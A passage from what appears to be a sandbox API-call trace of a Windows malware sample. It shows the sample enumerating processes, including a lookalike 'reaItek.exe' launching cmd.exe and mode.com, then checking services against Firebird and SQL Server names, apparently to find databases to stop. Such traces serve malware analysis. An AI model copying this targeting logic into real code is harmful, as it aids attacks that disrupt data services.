lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0109.602] lstrlenW (lpString="blademcdonald.exe") returned 17 [0109.602] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0109.603] lstrlenW (lpString="courage.exe") returned 11 [0109.603] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0109.604] lstrlenW (lpString="pearl.exe") returned 9 [0109.604] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0109.604] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0109.605] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0109.605] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0109.605] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0109.606] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0109.606] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0109.607] lstrlenW (lpString="dome.exe") returned 8 [0109.607] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0109.608] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0109.608] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0109.608] lstrlenW (lpString="paying.exe") returned 10 [0109.608] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0109.609] lstrlenW (lpString="emission.exe") returned 12 [0109.609] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0109.610] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0109.610] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0109.611] lstrlenW (lpString="charter.exe") returned 11 [0109.611] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0109.612] lstrlenW (lpString="nickel.exe") returned 10 [0109.612] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0109.613] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0109.613] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0109.614] lstrlenW (lpString="wrist.exe") returned 9 [0109.614] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0109.615] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0109.615] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0109.616] lstrlenW (lpString="neck.exe") returned 8 [0109.616] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0109.617] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0109.617] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.618] lstrlenW (lpString="dllhost.exe") returned 11 [0109.618] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.619] lstrlenW (lpString="taskhostw.exe") returned 13 [0109.619] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.620] lstrlenW (lpString="svchost.exe") returned 11 [0109.620] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0109.621] lstrlenW (lpString="reaItek.exe") returned 11 [0109.621] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.622] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0109.622] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0109.622] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0109.622] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.623] lstrlenW (lpString="conhost.exe") returned 11 [0109.623] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0109.624] lstrlenW (lpString="cmd.exe") returned 7 [0109.624] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0109.625] lstrlenW (lpString="conhost.exe") returned 11 [0109.625] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.626] lstrlenW (lpString="sppsvc.exe") returned 10 [0109.626] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0109.627] lstrlenW (lpString="mode.com") returned 8 [0109.627] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0109.627] CloseHandle (hObject=0x358) returned 1 [0109.627] Sleep (dwMilliseconds=0x1f4) [0110.519] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5feef8 [0110.520] EnumServicesStatusExW (in: hSCManager=0x5feef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0110.520] GetLastError () returned 0xea [0110.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0110.520] EnumServicesStatusExW (in: hSCManager=0x5feef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0110.521] CloseServiceHandle (hSCObject=0x5feef8) returned 1 [0110.522] lstrlenW (lpString="Appinfo") returned 7 [0110.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0110.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0110.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0110.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0110.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0110.522] lstrlenW (lpString="AppXSvc") returned 7 [0110.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0110.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0110.522] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0110.522] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0110.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0110.522] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0110.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0110.522] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0110.522] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0110.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0110.522] lstrlenW (lpString="Audiosrv") returned 8 [0110.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0110.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0110.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0110.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0110.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0110.523] lstrlenW (lpString="BFE") returned 3 [0110.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0110.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0110.523] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0110.523] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0110.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0110.523] lstrlenW (lpString="BITS") returned 4 [0110.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0110.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0110.523] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0110.523] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0110.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0110.523] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0110.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0110.523] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0110.523] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0110.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0110.523] lstrlenW (lpString="CDPSvc") returned 6 [0110.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0110.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0110.523] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0110.523] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0110.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0110.524] lstrlenW (lpString="ClickToRunSvc") returned 13 [0110.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0110.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0110.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0110.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0110.524] lstrlenW (lpString="ClipSVC") returned 7 [0110.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0110.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0110.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0110.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0110.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0110.524] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0110.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0110.524] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0110.524] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0110.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0110.524] lstrlenW (lpString="CryptSvc") returned 8 [0110.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0110.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0110.524] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0110.524] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0110.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0110.525] lstrlenW (lpString="DcomLaunch") returned 10 [0110.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0110.525] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0110.525] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0110.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0110.525] lstrlenW (lpString="DeviceAssociationService") returned 24 [0110.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0110.525] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0110.525] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0110.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0110.525] lstrlenW (lpString="Dhcp") returned 4 [0110.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0110.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0110.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0110.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0110.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0110.525] lstrlenW (lpString="Dnscache") returned 8 [0110.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0110.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0110.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0110.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0110.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0110.525] lstrlenW (lpString="DoSvc") returned 5 [0110.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0110.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0110.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0110.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0110.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0110.526] lstrlenW (lpString="DPS") returned 3 [0110.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0110.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0110.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0110.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0110.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0110.526] lstrlenW (lpString="DusmSvc") returned 7 [0110.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0110.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0110.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0110.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0110.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0110.526] lstrlenW (lpString="EventLog") returned 8 [0110.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0110.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0110.526] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0110.526] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0110.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0110.526] lstrlenW (lpString="EventSystem") returned 11 [0110.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0110.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0110.527] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0110.527] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0110.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0110.527] lstrlenW (lpString="FontCache") returned 9 [0110.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0110.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0110.527] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0110.527] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0110.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0110.527] lstrlenW (lpString="gpsvc") returned 5 [0110.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0110.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0110.527] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0110.527] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0110.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0110.527] lstrlenW (lpString="iphlpsvc") returned 8 [0110.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0110.527] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0110.527] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0110.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0110.527] lstrlenW (lpString="KeyIso") returned 6 [0110.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0110.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0110.528] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0110.528] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0110.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0110.528] lstrlenW (lpString="LanmanServer") returned 12 [0110.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0110.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0110.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0110.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0110.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0110.528] lstrlenW (lpString="LanmanWorkstation") returned 17 [0110.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0110.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0110.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0110.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0110.528] lstrlenW (lpString="lfsvc") returned 5 [0110.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0110.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0110.528] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0110.528] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0110.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0110.528] lstrlenW (lpString="LicenseManager") returned 14 [0110.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0110.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0110.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0110.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0110.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0110.529] lstrlenW (lpString="lmhosts") returned 7 [0110.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0110.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0110.529] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0110.529] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0110.529] lstrcmpiW (lpString1="sqlserveradhelper", 